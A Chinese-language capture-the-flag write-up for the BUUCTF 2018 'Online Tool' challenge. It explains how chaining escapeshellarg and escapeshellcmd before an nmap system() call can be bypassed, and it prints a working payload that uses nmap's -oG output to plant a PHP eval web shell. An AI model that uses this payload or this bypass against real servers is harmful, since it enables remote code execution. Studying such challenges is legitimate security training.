BUUCTF WEB [BUUCTF 2018]Online Tool
-
进入环境,得到一段代码
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
其中,
escapeshellarg()
函数用于把字符串转码为可以在 shell 命令里使用的参数,也就是将单引号等特殊符号转义,并将转义后的单引号前后用另外的两个单引号包裹<?php echo escapeshellarg("123"); // '123' echo escapeshellarg("12' 3");// '12'\'' 3' ?>
escapeshellcmd()
函数用于 shell 元字符转义 ,就是在特殊字符和没有配对的单引号前插入\
<?php echo escapeshellcmd("123"); // 123 echo escapeshellcmd("12' 3");// 12\' 3 echo escapeshellcmd("12'' 3");// 12'' 3 ?>
这里可以参照这篇文章 谈谈escapeshellarg参数绕过和注入的问题 (lmxspace.com) 了解本题如何解
-
因为两个过滤的存在,我们只能执行一条命令。在nmap中存在几个参数
OUTPUT: -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.
可以向文件中写入命令和结果
-
这里我们可以利用
escapeshellarg
与escapeshellcmd
一起使用的漏洞构造一个命令执行漏洞?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '
回显为
you are in sandbox ae49321bc77b6271cb2db4ba23d835f1Starting Nmap 7.70 ( https://nmap.org ) at 2022-04-22 05:26 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds
-
使用蚁剑连接,在文件根目录下找到flag文件
flag{24d949bf-db37-41b9-9e74-9f9e202d0af7}